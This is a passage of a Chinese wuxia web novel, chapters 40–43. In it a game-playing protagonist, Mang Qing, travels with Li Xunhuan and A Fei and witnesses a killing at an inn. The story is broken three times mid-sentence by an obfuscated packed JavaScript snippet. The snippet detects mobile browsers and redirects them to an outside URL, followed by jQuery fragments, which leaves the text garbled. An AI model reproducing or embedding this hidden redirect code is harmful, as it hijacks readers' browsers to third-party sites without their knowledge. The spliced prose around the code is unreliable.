血液浸湿了胡须,顺着脖颈蜿蜒而下,带来一阵冰寒发麻的凉意,像极了无常的勾魂锁。 蔺原识浑浊的眼珠忽然僵硬又迟缓地转动了一下。 杀死他的人出乎预料的年轻,武功也出乎预料的高强。蔺原识只来得及看清她如寒霜般锋锐的眉眼。 那样的一双眼睛,无论是谁,见过一面就绝不会忘记。 老人的思绪渐渐飘远了,他终于想到了一些事。一些很久很久以前发生的事。 那实在是渺小又久远的回忆,蔺原识已经许多年没有想起过了。直到今天,他才终于发现,原来自己竟从未忘却。 烛火燃烧的噼啪声又响在了他的耳边。 蔺原识清醒地坠入了幻梦。 蜡烛晕黄的灯光映在窗纸上,拨浪鼓旋转着,“咚咚”作响。 摇篮里的婴孩软软地“咿呀”叫着,伸长了手臂。偶尔有一两声伴随着轻笑的絮语从屋中低低传来。一切都是那么地静谧、温馨又安宁。 直到瓷瓶自桌边摔落,鲜红的血液如同烂漫的花瓣般飞溅,顷刻点染窗纸。 这场梦于蔺原识而言实在是再美妙不过了。他第一次向天子奉上了代表忠心的投名状,从此,康庄大道铺陈在了一届小小绿林武夫的面前。 …… 幻境结束了。 蔺原识想笑,于是老人艰难地抽动了一下嘴角。 空气再度扭曲了起来。画面陡转,火折子被人引燃。 那个人松开了手。 这只手的指节短粗而宽大,最适合练卧虎拳法。因为衰老,皮肤爬上了粗糙、丑陋的皱纹。 火折化作一线金红色的光亮直落而下,仿若一颗小小的流星,嗡然坠地。 高温和热浪席卷而来。有人在凄厉的悲嚎中放声大笑。 蔺原识仔细地去听,终于恍然地明了那是自己的笑声。 剩下的人又在哀泣些什么? 老人仅剩的一只耳朵动了一下。 原来他在喊“二师妹”。 火苗舔舐着血肉模糊的尸体,火舌在死人的身上尽情地舒展、摇曳,沿着高墙攀上屋脊,最终融成了熊熊烈焰。 房梁坍塌,发出如同惊雷般的爆裂巨响。 ——“轰隆!” 芒青揩干净长刀上的鲜血,抬头望去,只见夜空浓云翻涌,早已不见一丝星辉。 闷雷滚滚,闪电紧随而至,仿若一道狰狞的疮疤,撕开了厚重的天幕,也短暂地照亮了年轻人的整张面容。 蔺原识从梦中惊醒,注视着他的敌人,一对虎目猛然再次迸发出了精光,因失血而显得分外苍白的面孔上却泛起了不祥的青黑色泽。 他终于还是想起了那双陌生又熟悉的眉眼。他终于还是记起了那个素未谋面却已注定恨怨纠葛的故人。 蔺原识见过她的画像。 不只是他,还有他身边的许许多多具尸体,在生前,他们都是识得这个人的。 或者说,他们看过她的画像,却没有一人能将其认出。 盖因再精巧不过的工笔、再绝伦不过的画技,都仅仅只描绘出了真人十之二三的相貌与风度。 竟然是她。果然是她! 可惜,这样的了悟已经太迟了。 蔺原识用尽全身的力气,却只是让自己的嘴唇无力地翕动了一下。 他的魂魄好似飘到了半空之中。彻骨的疼痛和寒冷终于离他远去了。 蔺原识看到那个老迈的自己站在部下面前,用威严的嗓音下达了命令。 “记住她的脸。只要活口,别弄死了。” 那些伪装成青衣楼杀手的死士丧命黄泉时,是否也和如今他的同僚、从属们为同一般模样呢。 蔺原识再也没有机会想明白这个问题了。 暴雨倾盆而下,浇灭了那场被埋葬在记忆里的滔天烈火,也止熄了他眼里的明焰。雨救活了一个孩子,也见证了一个老人的死亡。 因果轮回,命运总是如此令人难以捉摸。 * 雪花如同鹅毛一般大,几乎织成了一张将天地笼罩的洁白大网。刺骨的寒风像一把把冷冽、坚实的小刀,凌迟般剐在行人裸露的皮肤之上,仿佛铁了心要刻出道道血痕。 道路两旁林木高耸、枝桠嶙峋,不见分毫绿意。 在这片银装素裹的大地上,一驾由两匹高头大马拉着的马车艰难地碌碌行过。 赶车的车夫是一名留着虬然须发的壮硕汉子,目光如炬、品貌不俗,便愈发让人好奇起他的主家来。 马车的外饰朴素,内里却既保暖又舒适。软榻上铺着厚厚的兽皮毯子,檀木小几上东倒西歪地放着两只酒杯。 桌几的旁边坐着一个人。 他的身形高大,气质却既不英武、也不威严,反而一副恹恹惨惨的模样,不由令人大跌眼镜。 时光似乎总是更偏爱美人一些。纵使他的脸上已不可避免地被岁月留下了侵蚀的浅淡痕迹,又难掩憔悴疲乏之色,但很不巧,网络发达的21世纪最近正流行该款破碎感人夫。 十年前,江湖上的儿女、武林中的名门,鲜少有不认识他名的。 寒门学子、世家大族,也无有不晓得他姓的。 他的名号已有许多年未被人称道过了。旁人提起时,也大多是敬佩之中夹杂着叹惋。 这些叹惋在当事人耳朵里过了一遭,便没有那么中听了,免不得又要为之勾起些从前的伤心过往。 “一门七进士,父子三探花”说的就是保定李家。门楣之显赫可见一斑。[1] “小李神刀,例无虚发”讲的便是排行兵器谱第三的小李飞刀了。身怀如此绝技的人,武功之高强自不必多言。[2] 而“小李探花”,道的即是能使出“小李飞刀”这一暗器的保定李家三探花之一的李寻欢了。 这名歪斜在卧榻上的失意中年人,正是曾被高门显贵奉为座上宾,打马游街、看尽长安花的“小李探花”。 …… 李寻欢正在专注地刻着一只木雕。 这样的动作他已不知重复了几百、几千遍。小刀伴随主人的心意而动,纵使闭着眼,李寻欢也依然能将心里的那个人完完整整、栩栩如生地雕琢出来。 女子的眉眼像月牙一样弯,眸光像秋水一样清,笑意像春花一样动人。 木屑纷扬而下,车厢中好似也下起了一场零零落落的小雪。 这名昔日的“小李探花”不知从哪摸出了一只青瓷酒壶。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264128|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看也没看几案上的杯盏,径直仰起头对着壶嘴痛饮。 纵使是江湖上最壮实的莽汉,也不敢像他这样潇洒到连命都不要。 喝过一气,李寻欢果然立刻闷头咳嗽了起来。 男人咳得撕心裂肺,几乎让人疑心他会不会就这样将心肝脾肺一齐呕出来。 咳完了,酒还是要喝,木头也还是得刻。 假使一个人用这样的方法喝酒,那么,他在旁人眼里就有了一个新的身份。 “酒鬼”。 冷酒一路烧灼到了胃部,却怎么也暖不化李寻欢心底的寒霜。 待到烈酒见底的时候,人像便雕成了。 这个行事没有章法的酒鬼突然毫无征兆地一把推开了马车的厢门。 狂风拍打在他的面颊、脖子和双手上,翻飞的雪粒争先恐后地涌入车厢,将这最后一片暖和的乐土染上了风霜的温度。 李寻欢视若无睹,一脚踏进了皑皑积雪之中。 入目所及,天是一片暗淡的死灰,地是一片荒芜的惨白。沾染了主人体温的木雕被一点一点掩埋。 李寻欢的眼底也凝着无法消解的愁绪,像一块结了很多很多年的坚冰。 忽然,他听到了一道微弱又转瞬即逝的呼气声。 李寻欢的面色陡然变了。 他来不及理会车夫疑惑的询问,急奔数步,赶到传出响动的地方,探身摸索几下,便用力拨开厚实的雪层,从下面挖出了一个人。 那是一个活人。 她皮肤的温度比呼嚎的风还要冷,睫毛和脸颊上沾染着白色的雪粒,分毫没有融化的迹象。 李寻欢二话不说,架起一只胳膊挂在自己的肩膀上,便要背着人回车上去。车夫同样早早丢掉了缰绳,从车辕处一跃而下,快步冲了过来。 就在这时,那条软绵绵的手臂忽然毫无征兆地反过来撑住了酒鬼的脖颈。车夫悚然一惊,失声叫道,“少爷!” 李寻欢神色微动,偏头看去,这才瞧清楚这险些埋骨荒野之人的模样,不由微微一愣。 对李寻欢来说,这十分里含着十二分眼熟的孩子实在有些过分年轻了。 少年人纤长浓密的睫羽盛着半透明的冰晶,融化的雪水在眼窝处汇集,转瞬又很快滑落。打湿后的眉眼更显乌黑澄澈。 她的眸光清明,分毫不像是一个即将因失温而活活冻死的人。 年轻人的视线在他的身上停留一瞬,便好似反应过来一般露出了些许恍然的神色。 “多谢。我没事。”她扬眉浅笑,利索地把手抽回来,回过身去,稳稳当当地走了几步,随意扒拉两下,就从先前躺着的“窝”底下掏出了一件颇为厚重的大氅。 雪白色的大氅几乎要和地面融成了一体,李寻欢救人心切,竟没有发觉。 他眼睁睁看着这孩子又跟变戏法似的从大氅里掏出了一根长长的条状物,观其形貌,大抵是一把重剑。同样以白色布条缠裹。 玩家清点完财物,发现自己斥两千巨资购买的时装和S级道具没丢,这才有心思解锁npc剧情。 少年人神色郑重,很端肃地行了一礼,“在下姓芒,单名一个青字。前辈今日的恩情必定牢记于怀。” 李寻欢看着那张熟悉的面孔,表情怔忡一瞬,听到她的话,复又笑了。 细细的纹路汇集在男人的眼尾。 “不必挂怀。”他说。 “上车吧,我载你一程。” 41.第四十一章 * 闻言,芒青略歪了歪头,视线下意识地瞥向这不知名npc的头顶,又有些纳闷地落回他脸上,轻轻“啊”了一声。 数据小人竟然是真心在邀请玩家。上一个这么纯良的还是被砸了家都会温言细语请人喝茶的花满楼。 最近两个副本遇到的好人似乎格外多。很难相信这不是策划的阴谋。 李寻欢耐心地等待着受邀之人的回答。 只见这孩子先是窸窸窣窣地把冬裘披在了身上,又将那根形似重剑的东西背好,才像是一只抖擞完毛发的大狗一般神气十足地道,“多谢,但是我有马。” 李寻欢莫名有点想笑。 中年人的身体孱弱,却有着一双充满了生机与活力的眼睛。 当他酗酒咳嗽的时候,旁人总要觉得这酒鬼恐怕已是命数将近、活不长了。但倘若他们见到了这一双眼,便又会立刻将自己原先的想法推翻了。 小李探花故作思忖,配合地露出一点困惑的表情,问道,“哦?马在哪儿呢?” 芒青吹了一声口哨,放下手,很认真地说,“好了。它很快就来。” 这副模样实在很像叼着玩具找人显摆的聪明犬类。李寻欢是真的有些压不住笑意了。 他正想同面前的孩子再说上些什么,却忽然面色一变,偏过头,一手握拳抵在唇边,闷闷地咳嗽了起来。 车夫不由心忧道,“少爷,先回车上去罢。” 芒青瞅一眼npc头顶那个明晃晃的虚弱debuff,沉吟片刻,还是掏出了系统道具。 模糊、摇晃的视野里陡然闯进了一片颇有存在感的斑驳色块,李寻欢勉强压下喉间发麻的痒意,定睛一看,才发现那是一只从前方伸来的右手。 少年人的手指纤长,淡青色的脉络自手腕处蜿蜒而下,汇聚起来,又很快分散。掌心向上摊开,一颗小小的药丸静静地安放在中央。 【赠送[中级回春丹1],人物好感度+5】 芒青道,“能治病。没毒的。” 李寻欢不由一愣,旋即苦笑,自嘲道,“多谢你的好意,只是实在不必了。凭白浪费而已。” 玩家了然。这个目前还头顶着三个马赛克方框的无名数据小人是在怕她下毒。 芒青拿出匕首轻轻一划,就将丹药轻巧地分成了两份,慷慨道,“你选一半。” 李寻欢叹息,“我并不是这样的意思。” 见他还是不接,玩家终于恍悟这是npc的人设,得走一遍你推我拉的剧情。 身着月白色长袍的年轻人想了想,忽然问道,“吃药这件事于前辈而言,是无关紧要的吗?” 她没有等对面的那个人回答,很认真地继续说,“但是前辈吃下我送的药,对我来说却是很重要的。” 李寻欢沉默半晌,道,“我原本也没有做什么。你不必承我的情。” 芒青笑了,这一点也和花满楼很像。 她的手仍然平举着,分毫没有收回去的意思。 “前辈施我以援手,认为这是您一人的事,故而不求回报。我要报答前辈的恩情,自然同样也该是我一个人的事。” 李寻欢露出了一点松怔的表情,又像是想到了什么,很快转为怅然。片刻,男人的眉眼一点一点地弯了起来,“好。” 他干脆地捻起这枚被一分为二的药丸,极利索地仰头吞下。 “不用叫我前辈。”男人说,“我姓李,李寻欢。你就这样叫我罢。” 芒青随口应了,“好的好的。” 系统道具的效果堪称立竿见影。李寻欢的气色几乎立刻便好上了几分。 玩家看到npc的头顶冒出了【hp+20】的提示,但是很快,一排“【hp-1】【hp-1】”就以一种均匀而缓慢的速度刷新了出来。 芒青:“……?” 她匪夷所思,头一次碰见会持续掉血的npc,震惊程度堪比巴里·艾伦得知蝙○侠有六颗卫星。 在连续冒出二十个【hp-1】的提示后,名叫李寻欢的数据小人的天灵盖终于安静了。片刻,那条病弱debuff的人物状态边又不紧不慢地飘出了两个字。 【锁血】。 芒青:“??” 这对吗。 就在玩家陷入沉思之时,远处的丛林里忽然传来了一阵窸窸窣窣的响动。 李寻欢恍然想起这孩子先前说过的话,抬目望去,果然看见一匹纯黑色的骏马溜溜达达地小跑了过来。 在这样恶劣、严寒的天气里,马也如它的主人一般,似乎分毫没受到风霜的影响。 车夫终于如愿把自己那中年叛逆的主家塞回了马车里,一抖已被冻得有些发硬的缰绳,重新催动了马匹。 只是,这一次,主仆二人的车厢边,还多了一骑同行。 他们前进了不到两刻钟的功夫,便在雪地上发现了一列足迹。 这些脚印间隔的距离几乎一模一样,无论踩到的是碎石还是草梗,留下痕迹之人的步幅都没有分毫改变。 李寻欢问车夫道,“你觉得这会是一个什么样的人?” 车夫虽然外表粗糙又狂野,对待“少爷”却堪称无有不应。闻言,他略一思索,答道,“他的性格绝对很坚韧。心性也绝对很果决。” 李寻欢斜倚在车门边,微微笑了。 他笑起来的时候总是显得很快活、很明朗。人们便也能透过这副躯壳一窥曾经那个名扬天下、意气勃发的年轻侠客的模样。 芒青没有理会npc们的闲谈。 她点开了邮箱里的未读信件。 【玩家击杀[王五],获得经验点数200,金币奖励200】 【玩家击杀[陈三],获得经验点数200,金币奖励200】 【玩家击杀[陈二],获得经验点数200,金币奖励200】 …… 【玩家击杀[蔺原识],获得经验点数500,金币奖励1000】 【[系统邮件]您已升级,当前等级[lv.53]】 【您已获得[身世线索2]。[主线线索 4]将以幻境形式不定时发送,请玩家做好准备】 芒青:“。” 等她掉坑里了才发现策划的马前炮。被雪埋小半个时辰难道就是玩家不经常看邮件导致的恶果吗。 * 纷飞的雪花渐渐止息。天地间是一片澄净、明澈的白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273849|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在这片荒芜而无际的洁白之中,路前那抹突兀的黑点便显得有些格外引人注意了。 车轮碾压过松软的雪层,发出伴随着吱扭声的“沙沙”响动。 距离缩短,黑点也逐渐有了人形的轮廓。 李寻欢的身下垫着暖和的绒毯,芒青更是感觉不到冷也要给自己买一件大氅披着应景,就连车夫都穿着厚实的棉服。 但那条挺拔的人影却极其单薄。 这并非是指身体上的瘦削,而是在说他的衣着。 在这样彻骨的天气里,此人竟然只裹了一件破旧的单衣。不过,这绝不是因为他想求死。 若论求生,或许他才是真正的行家。 人们通常用“行人”、“旅人”来形容一个行居在外的人。可若要李寻欢来说,他更愿意形容这孩子为一匹狼。 人的心性总是会被许多事塑造、改变,变得更复杂、更难懂。 戏文里常有如此那般的故事,譬如相爱的两个人互相折磨、敌视的两个人虚与委蛇。但野兽不会。 兽的身上带着与生俱来的天然本能。它们的行止由本能所驱动,远比人要直白得多。 而对于李寻欢来说,这只小兽的岁数实在也属实是年轻得很。 所以,当这个年轻的孩子看向他身边另一个年轻孩子的时候,这名饱经风霜雨雪、阅历丰富的中年人立刻就明白眼前发生了什么。 他露出的那副模样实在太容易读懂了,仿佛一张摊开着去给人家瞧的白纸。 天地造物当真分外偏爱面前的这两个年轻人。 像头小狼的孩子生着一双漂亮又锐利的眸子。鼻梁挺拔、嘴唇削薄,好似一棵不弯不折的松柏。 而芒青,人们大概是很难用什么东西去精确地比喻、形容她的。她这样的人,也总是很难以意象去概括的。 少年人高居马背之上,银色的长刀映着阳光,大氅帽檐处的绒毛被风吹动,轻轻拂在她的颊侧,萧萧肃肃、爽朗清举。 芒青有一对极标志的桃花眼,眼尾上挑,眼睑却略向下靠。尤其她又穿着一身浅色的衣服,削弱了几分凌厉,便只剩出尘俊逸的风流。 乍一看,旁人往往会觉得她像某种经过了社会化训练、极好相处的大型犬类。唯有仔细去瞧,才会发现她的五官其实极富攻击性。 这孩子收敛得很好,便少有人会留意到那些令人望而却步的特征。 此刻,她就弯起了眉眼,笑意盈盈地询问着偶遇之人的名姓。 “阿飞。”另一个倔强又冷硬的孩子回答。 他说话的时候,目光直视着芒青,并不曾离开过,耳根和脖颈却逐渐以一种肉眼可见的速度烧成了红色。 李寻欢看得有趣,又实在欢喜这孩子的性格,便邀他上车搭载一程。 阿飞大抵已经很习惯在恶劣的天气里生存了。所以,他不仅没有一听到李寻欢的邀请,就迫不及待地钻到那温暖可人的车厢里去,反而还冷冰冰地拒绝了男人的邀请。 芒青很认真地问,“那你要和我们同行吗?” npc只说不坐马车,又没说不能一起走。 李寻欢饶有兴致地瞧着阿飞,等待了片刻,果见他闷闷地点了一下头。 42.第四十二章 * 雪停时分,天地一片苍茫的寂寂。 有了阿飞的加入,车马前行的速度慢了下来。 芒青在雪地里埋了半天,策划总算是还有些未泯的人性,没真让她冻成北国风光里千里冰封的其中一员。[1] 比起开了挂的玩家,自称阿飞的npc的处境显然恶劣得多。雪花在他裸露的皮肤上融化,淅淅沥沥地淌进衣领里去。 脖颈处的布料浸得水湿,牢牢地黏在身上,小风一吹,体感估计跟喝了雪○啤酒在勇闯天涯一样,透心凉,心飞扬。[2] 然而,即便如此,阿飞的脊背却仍挺得笔直,像崖边的青松。磨难只会将他打磨得更加坚韧、更加不屈。 很少有人能对自己狠得下这样的心。其心性之果决,由此也可见一斑了。 李寻欢又在喝他的酒了。 酒鬼的一生大抵注定要跟酒绑在一起。快乐的时候开怀畅饮,悲伤的时候以酒浇愁。 也许这位名扬江湖的小李探花从前还并不是这样一个酒葫芦,但前尘往事、时移世易,现在的他绝对能算是一个于此道颇有建树的人。 与其他闷酒鬼不同的是,李寻欢不仅仅是一个爱喝酒的人。除此之外,他还是一个满怀侠客心肠的江湖儿女。 侠客遇到投契之人,便免不得要被勾起些豪情。 中年人撩开车帘,露出一双盛着笑意的多情眼眸,仿若三月里漾开的池水,“不坐我的车,酒总得喝上一口罢?” 这个倔强而冷漠的孩子不肯接受旁人的恩惠,因为他是一匹独行的狼。可即使是狼,也会有分享食物的时候。 但是,出乎预料的,李寻欢再一次遭到了拒绝。 “我买不起你的酒。”名叫阿飞的小少年说了第一句话。 停顿片刻,他又张开嘴,跟着吐出了第二句。短促而不留情面。 “我只喝自己买的酒。” 幼狼不晓得这样的拒绝会让一部分人觉得难堪、觉得自己受到了冒犯。在这江湖之中,人心远要比丛林里的豺狼虎豹险恶百倍。 好在,他遇到的是李寻欢。 李寻欢几乎要被这老实到傻气的话语逗笑了。此刻,阿飞看起来又不太像是一只孤狼了。 人们很难在同一个人的身上看到如此极致的纯真和如此极致的冷酷。 两种矛盾的气质糅杂,却生不出半分违和之感,反而塑造出了一种更为纯粹的野性。 可是,当阿飞看向他身旁的年轻人时,那股拒人于千里之外的漠然便会陡然转变成另一种炽热的感情。 他尚且懵懂,从来也没有过这样的经历,甚至于还未来得及想明白它意味着什么,却已经凭借着兽的本能不自觉地向那个人靠近。 芒青若有所觉地回望过去,正好和npc的视线撞了个正着。 她扬眉笑了一下。阿飞的脖颈和耳根便又有了发烫的趋势。 饶是如此,幼狼的目光也仍旧没有半分的躲闪和偏移。 野兽的听力总是很灵敏的,他们需要抓住每一分、每一毫的信息,以确保不会放跑自己的猎物,也确保自己不会成为猎物。所以,阿飞也很清晰地捕捉到了年轻人清润含笑的嗓音。 “很冷吗?这里冻红了。”她点了点自己的颊侧。 阿飞的视线盯着那截白皙的指尖,停顿数息,偏移几寸,最终落到了那颗小小的、点缀在莹润皮肤中的泪痣之上。 狼直勾勾地瞧,却还没有忘记回答她的问题。 他不冷。阿飞先摇了一下头,片刻,才颇为后知后觉地抬手摸了摸脸。 手下的皮肤温度略有些高,相较而言,他的手指才是更凉几分的那个。 于是阿飞便又摇了一下头,以示自己没有冻着。 在并非依靠血亲关系建立的狼群里,只有健硕的头狼才拥有领导族群、保护配偶的能力。 出于某种连他都尚未明晰的缘故,阿飞又着重强调道,“我的身体很好。” 芒青若有所思。 嘴这么硬。冻成啥了都。 玩家犹豫少顷,还是决定尝试一下。 虽然以该npc对待李寻欢的态度来看,他大概率不会接受旁人的关怀,但是从建模的角度出发,芒青坚信此人绝对就是副本剧情的重要关联人物。 按照策划的尿性,要是npc出了什么意外,这把大概率得重开。 玩家谨慎地存了个档,如果数据小人真的因为拒绝帮助而惨遭下线,那么,二周目她就得使用一些强摁牛头喝水的特殊手段了。 年轻人在马背上的布囊里翻找了一下,掏出一条风领。 那只看起来就极厚实暖和的围巾被递到了阿飞的面前。 雪白的绒毛映衬着骨节分明的手指,反将她的肤色衬得更润泽了几分。 猝不及防收到礼物的人愣了一下,抬目去看,正撞进一双盛着笑意的桃花眼里。 “你戴上,我用名字交换,可以吗?” 阿飞的眼睛睁大了,看起来更像是一只毛茸茸的小狼崽子,而不是一个十九岁的少年。 芒青已经做好了被当场回绝的准备,没想到策划还给玩家开了后门。 她的手没有收回去,耐心地等待着npc的回复。 片刻,围巾被另一个人默不作声地拿走,圈在了脖子上。 毛领遮挡住了阿飞泛红的耳根和脖颈,也掩住了他的下半张脸。 李寻欢打量一番,发现这样的装扮倒显得这孩子的脸型圆润了几分,不再像从前那样瘦削。 狼如约戴上了风领,芒青信守诺言,果然告诉了他自己的名字。 “我叫芒青。” 阿飞的眼睛亮了一瞬。他仰头看着马背上的人,轻轻抿了一下唇,“我知道了。” 狼很郑重地说,“我会记住的。” * 临近正午,一行四人终于抵达了人烟聚集的小镇。 这里地处偏僻、物资匮乏,镇子上便只开着一家供人歇脚的客栈。 他们到时,店外的马厩里已经挤挤挨挨地拴满了旅人的坐骑。 客栈的大堂之中更是人声鼎沸,嘈杂喧嚷不绝。 厢房果然已经被订满了,但常言道“有钱能使鬼推磨”,那髯须车夫上楼去转了一圈,再下来时,李寻欢今晚便有了歇脚的地方。 又有一阵车行马嘶声伴随着呼喝从门外传来,阵仗颇大,众人皆转头来瞧,只见三个武夫打扮的人说笑着掀帘阔步而入。 走在前面的是一名身宽体胖的紫面汉子,他们一行来得晚,没找到空位,便跟逮羊羔似的一把薅住了路过的伙计。 伙计猝不及防,被手里的热汤泼在胳膊上,立时疼得大叫一声,摔了陶碗。 那汉子却不以为意,只揪着他道,“给爷爷找个空座来。” 他身后二人也俱都视如无睹,继续高谈阔论,讲些如此那般的保镖之事。 江湖里多的是一言不合便要将人打杀了去的草菅人命之徒,伙计心知来客不是善茬,顾不得处理伤口,忙不迭从后堂搬了一副桌椅过来,小意赔笑道,“您请坐。” 汉子和两名同行之人大摇大摆地坐在了长凳上,他起一个头,余下两个狗腿子当即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281017|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替老大抖开了红地毯,热热闹闹地拍起马屁来。 有食客看得皱眉,不满这三人的行径,神色愤愤,正欲开口执言,却被同行之人拦下,“那是金狮镖局的镖头诸葛雷。你别多管闲事。” 阿飞收回视线,眸色沉了沉,下意识看向李寻欢的方向。 中年人垂着眼帘,只是略一偏头,车夫便心领神会地朝着后厨的方向去找那店小二了。 阿飞终于第一次主动开口和李寻欢说了话,“你让他去做什么了?” 李寻欢道,“人受了伤,总要用些银两去买膏药的。” 阿飞蹙眉,“如果你想帮他,为什么不直接替他打回去?” 李寻欢叹息,“我能帮一时,却终究还是会离开。我走之后,恐怕诸葛雷就要把账算在他头上了。” 阿飞不由默然。李寻欢也没有再说话。 恰在此时,遮挡店门的棉布又一次被人从外掀了开来。 走进店里的是两个高矮胖瘦几乎一模一样的人。 他们一踏进大堂,就摘下了头上的斗篷,露出了两张几乎一模一样的脸。店里的交谈声立刻便小了七八分。 这两个人朝着诸葛雷一行的方向而去。他们走路的姿势又轻盈、又迅捷,就像是两条交缠蠕动的黏腻长蛇。 二人停下脚步的时候,客栈内已彻底听不见人语了。 那些夸夸其谈、自我吹嘘的话语,诸葛雷也彻底再说不下去了,此刻,他的命脉正被这两名不速之客捏在手里。 而这双生兄弟此番所为,目的则是诸葛雷此行护送的镖货。 诸葛雷不愧稳坐金狮镖局的大镖头之位,果然有一番不凡气度,见到比他弱小的人便威武不屈,遇到比他强大的人就奴颜婢膝。 这样的人,在道义和自己的身家性命之间,自然也只有选择后者的份,毕竟在他心里,前者存不存在还很难说。 诸葛雷交出了那只由他保送的布包,那两个如长蛇一般的人却仍旧不肯善罢甘休。 左边一人忽然一抖剑尖,便将一碟下酒菜扫落到了桌子底下,讽笑道,“你若是能爬在地上把这碟花生米吃完,我兄弟二人便放过你。否则,你的脑袋今日恐怕就要搬个家了。” 这实在是个极侮辱人的要求,尤其对于已经爬到诸葛雷这般地步的人来说,便更加难以接受。 令人意想不到的是,这位也算在江湖上闯出了些名堂的“急风剑”,竟然果真跪了下来,四肢并用,缓缓趴在地上,艰难地去够盘子里的花生。 就连李寻欢也露出了些许意外的神色。 一时间,客栈里只听得见诸葛雷奋力咀嚼的声音。 换一个没那么能屈能伸的人过来,恐怕非要羞愤得当场碰死才好。 诸葛雷吃完了花生,便要起身,却又被另外一把软剑拦了下来。 右边那人冷冷阴笑道,“别急,盘子还没舔干净呢。” 这下,就连诸葛雷面上的表情都有些崩裂了。他只是惜命,并不是真的没有羞耻之心。 他身边的一名同伴赔笑着站起身,道,“货已送给了阁下,二位何妨高抬贵手,日后,我金狮镖局定……” 话音尚未落地,主人的脑袋却已先他的大哥一步搬了家。 失去了头颅的躯干自断口处喷涌出鲜血,霎时洒满了房梁。 腥热的液体当头浇下,淋了诸葛雷满脸。他的两腿立时瘫软了下来。 那柄才杀过一个人的剑重新指向了镖师。阿飞霍然起身,凳子腿在地上摩擦出了一道刺耳的响动。 两双如毒蛇般阴隼的眼立时钉住了他。 43.第四十三章 * 大堂内,早有食客吓得缩在了桌子底下,浑身抖如筛糠,诸葛雷身边的另一名跟班也早已能屈能伸地躲开了老远。 芒青的视线轻轻落在他身上。此人体型娇小,正好嵌在两只长凳的夹缝里,一时竟也没有更多人留意。 倒霉狗腿子的那颗和脖子分了家的脑袋还尚且新鲜着,前车之鉴血淋淋地摆在眼前,众人也只敢喏喏。 一片沉寂之中,阿飞这只出头的鸟便显得格外引人注目了。 左边那位不速之客的目光在阿飞的身上扫视一圈,轻蔑地“哈”了一声,转头踢一脚诸葛雷,“还有人想替你打抱不平哩!” 右边的人狞笑,“也不知他有没有这个命数。” 诸葛雷只伏在地上,连头也不敢抬起来了。阿飞却仿若未闻,只转向客栈前台,问道,“一壶酒卖多少钱?” 掌柜早在事起之时就把自己盘到了桌子后头,一副对此颇有经验的模样。闻言,她略探了探头,瑟缩道,“便宜的五十文,您桌子上是一百文的。” 阿飞点了点头,对右边那人道,“一百文,你可以买他的人头。” 形貌似蛇的男人愣了一下,扭头去看他的兄弟,二人面面相觑,片刻,陡然大笑起来。 他们的笑声里没有遭到冒犯的愤怒,只有不屑一顾的讥嘲,浑然未将这看起来就潦倒落魄的无名小辈放在眼里。 毕竟,他腰间别着的东西实在很难被称作一把剑、一件武器。 那是一根长条形状的铁片,木头钉在宽的一头上,便算作柄了。倘若要把它称作剑,也着实是有些侮辱了剑。 除了李寻欢和看得到人物等级的玩家外,此地大抵就再没有第三个人将阿飞的话放在心上了。就连车夫都不自觉地蹙起了眉。 左边那人笑够了,复又露出阴鸷的神情,道,“想卖我的命,就得看你有没有这个本事了!” 话音将落,手中软剑骤然出手。只眨一眨眼的功夫,还未及旁人瞧清他的动作,那把剑便已重新收了回去,安静地待在主人的身旁。 有食客按捺不住好奇,环顾一圈,却一无所获。 恰在此时,忽有一阵陶器碎裂的声音传来。食客们循声过去,定睛一看,才发现诸葛雷面前的碟子竟然就这样裂作了六瓣。 这一手功夫实在不能说不精妙。诸葛雷死死盯着眼前的餐盘,忽然涩声道,“你们、你们就是‘碧血双蛇’……原来、原来……” 他连道几个“原来”,便再也说不出话来了。 左边那人哈哈大笑,“不错。看来金狮镖局的耳目还不算太聋太瞎。” 右边那人也笑了,眼睛却瞟着阿飞,道,“只可惜却有另一个瞎子撞到了咱们跟前。” 他讥诮道,“若是你也能露这样的一手出来,我二人今日便算放过你。可倘若你没什么本事——” 他的兄弟阴阴接道,“你的人头就得留在我手上!” 阿飞向前走了两步,正站在左边那人身前,“那就试一试,谁的剑先留不住命。” 他同样也没有等话音落下,就已猝然出了手。 待众人反应过来时,那条玩具似的铁片已经插在了”碧血双蛇”左边一蛇的脖颈里。 直到这时,剑光才终于追上了剑影,在旁观之人的眼底留下一道触目的白虹。 “碧血双蛇”的剑绝对要比这江湖上的大多数人都要迅捷,才能在黄河一带的黑.道势力中称王称霸、为祸一方。 也只有这样的人,才能让不可一世的金狮镖局大镖头摧眉折腰,甘愿把自己的脸皮放到他们的脚底下去。 